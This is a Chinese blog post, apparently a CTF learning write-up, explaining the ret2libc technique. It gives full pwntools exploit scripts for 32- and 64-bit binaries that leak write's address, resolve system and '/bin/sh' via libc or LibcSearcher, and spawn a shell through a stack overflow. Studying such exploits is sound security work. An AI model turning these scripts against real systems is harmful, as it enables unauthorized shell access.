pwn学习-ret2libc

昨天学习了re2syscall,该方法主要是系统中没有system()函数,也没有/bin/sh字符串,一般该二进制程序使用static link静态链接,可以找到很多的gadget,我们可以利用这些gadget进行系统调用

但是在动态链接时,gadget就变少了,也是同样的没有system()函数,这时我们需要在函数动态绑定的libc中找,例如经常使用的system/bin/sh字符串,简单的原理是通过泄露的函数的内存地址,猜测二进制文件的libc,通过泄露函数内存地址 - 泄露函数在libc中的偏移算出libc的真实地址,接着通过libc + system偏移找到system函数的真实地址,/bin/sh字符串也同理,最后通过栈溢出调用system("/bin/sh")getshell

下面我会简单的分析并利用x32x64的二进制程序
所用文件如下:
链接:https://pan.baidu.com/s/1OMAgey3rB_68d0g0FlJEQw
提取码:mqcg

x32分析

得到程序,使用filechecksec命令查看二进制文件

接着使用ida打开分析,在ret2libc函数发现栈溢出漏洞

接着我们的思路就是,通过程序默认的write函数地址,调用并输出write函数运行在内存中的真实地址,接着通过偏移分析该程序的libc版本,然后通过libc偏移找到system地址和/bin/sh地址,脚本如下:

from pwn import *
context(log_level="debug")

p = process("./ret2libc")
e = ELF("./ret2libc")
libc = ELF("/lib32/libc.so.6")


p.recvuntil(b"Welcome to Ret2libc\n")

# 获取程序没有加载到内存 write 的地址
write_plt = e.plt['write']
write_got = e.got['write']
main = 0x080484F4

# 第一次栈溢出,获取write函数在内存中的真实地址
padding = 0x88 + 0x4
payload = b"A" * padding
payload += p32(write_plt)
# 返回地址为 main,在执行完write函数再次运行main函数
payload += p32(main)
# write(1,write_got,4)
payload += p32(1)
payload += p32(write_got)
payload += p32(4)
p.send(payload)

# 获取程序在内存中运行write函数的真实地址
write_addr = u32(p.recv(0x4))
print("write_addr is %#x" %write_addr)

# 如果题目给了libc
# libc基地址  = write_addr - libc中write_addr的偏移
libc_base = write_addr - libc.sym['write']
print("libc_base is %#x" %libc_base)

# 根据基地址获取 system 和 /bin/sh 的地址
system_addr = libc_base + libc.sym['system']
bin_sh_addr = libc_base + next(libc.search(b'/bin/sh'))

# 再一次栈溢出,调用system函数执行/bin/sh
p.recvuntil(b"Welcome to Ret2libc\n")


padding = 0x88 + 0x4
payload = b"A" * padding
# system("/bin/sh")
payload += p32(system_addr)
payload += p32(0)
payload += p32(bin_sh_addr)
p.send(payload)

p.interactive()

"""
# 使用one_gadget 没有成功,需要调试满足 one_gadget 条件
one_gadget = 0x1421b4
execve_addr = libc_base + one_gadget
padding = 0x88 + 0x4
payload = b"A" * padding
payload += p32(execve_addr)
payload += p32(0)
input("attack")
"""

上述脚本中,由于我实在本机运行,所以默认使用本机的libc文件,使用ldd可以查看

但是pwn的题目一般程序是在目标机器目标,所以我们不能指定libc,除非题目给了目标系统可执行文件使用的libc,这时就需要使用LibcSearcher

脚本如下:

from pwn import *
from LibcSearcher import *
# context(log_level="debug")

p = process("./ret2libc")
e = ELF("./ret2libc")
# 若没有提供libc,需要使用libcsearcher模块
# libc = ELF("/lib32/libc.so.6")

write_plt = e.plt['write']
write_got = e.got['write']
main = 0x080484F4

p.recvuntil(b"Welcome to Ret2libc\n")
# 获取write函数真实内存地址
padding = 0x88 + 0x4
payload = b"A" * padding
# write(1,write_got,4)
payload += p32(write_plt)
payload += p32(main)
payload += p32(1)
payload += p32(write_got)
payload += p32(4)
p.send(payload)
write_addr = u32(p.recv(4))
print("write_addr is %#x" %write_addr)


# libc_base = write_addr - libc.sym['write']
# system_addr = libc_base + libc.sym['system']
# bin_sh_addr = libc_base + next(libc.search(b"/bin/sh"))


# 使用 LibcSearcher
obj = LibcSearcher("write", write_addr)
libc_base = write_addr - obj.dump("write")
print("libc_base is %#x" %libc_base)

system_addr = libc_base + obj.dump("system")
bin_sh_addr = libc_base + obj.dump("str_bin_sh")


p.recvuntil(b"Welcome to Ret2libc\n")
payload = b"A" * padding
# system("/bin/sh")
payload += p32(system_addr)
payload += p32(main)
payload += p32(bin_sh_addr)
p.send(payload)

p.interactive()

运行后,LibcSearcher会判断猜测目标使用的libc,并让我们做出选择,这里需要一个一个尝试,我的是7

x64分析

x64和x32基本一样,不过需要注意的是x64的函数传参的时候,使用寄存器进行传参,x32使用的是栈
例如需要执行write,就需要把第一参数放在rdi,第二个参数放在rsi,第三个参数放在rdx,可以通过下面的网站查看
https://shell-storm.org/shellcode/files/linux-4.7-syscalls-x64.html

所以思路和原理时一样的,脚本如下:

from pwn import *
from LibcSearcher import *
context(log_level="debug")

p = process("./x64_ret2libc")
# p = remote("192.168.154.176",8888)
e = ELF("./x64_ret2libc")
# libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")

write_plt = e.plt['write']
write_got = e.got['write']
main = 0x000000000040065B

# gadget
pop_rdi_ret = 0x0000000000400723
pop_rsi_r15_ret = 0x0000000000400721
return_addr = 0x0000000000400626
ret = 0x00000000004004c9

# 第一次栈溢出获取 write 真实地址
p.recvuntil(b"Welcome to x64_ret2libc\n")
padding = 0x80 + 0x8
payload = b"A" * padding 
# write(1,write_got,8)
payload += p64(pop_rdi_ret)
payload += p64(1)
payload += p64(pop_rsi_r15_ret)
payload += p64(write_got)
payload += p64(write_got)
# 没有找到pop_rdx_ret gadget,但是程序在调用read函数的时候设置了edx为0x12c,
# 在执行完read函数后程序被我们劫持栈溢出,edx的值还是0x12c,这个时候可以不设置直接调用write函数
# payload += p64(pop_rdx_ret)
payload += p64(write_plt)
payload += p64(return_addr)
p.send(payload)

write_addr = u64(p.recv(8))
print("write_addr is %#x" %write_addr)

# libc_base = write_addr - libc.sym['write']
# print("libc_base is %#x" %libc_base)
# system_addr = libc_base + libc.sym['system']
# bin_sh_addr = libc_base + next(libc.search(b'/bin/sh'))

# 计算libc基地址,并通过基地址得到system和/bin/sh
obj = LibcSearcher("write", write_addr)
libc_base = write_addr - obj.dump('write')
print("libc_base is %#x" %libc_base)
system_addr = libc_base + obj.dump('system')
bin_sh_addr = libc_base + obj.dump('str_bin_sh')


# 第二次栈溢出得到shell
p.recvuntil(b"Welcome to x64_ret2libc\n")
payload = b"A" * padding 
# 不需要加入ret
# payload += p64(ret)
payload += p64(pop_rdi_ret)
payload += p64(bin_sh_addr)
payload += p64(system_addr)
payload += p64(0)
p.send(payload)


p.interactive()

上述我使用的是LibcSearcher获取getshell,需要手动选择通过泄露write判断的libc库文件

posted @ 2024-06-02 17:30  Junglezt  阅读(149)  评论(0编辑  收藏  举报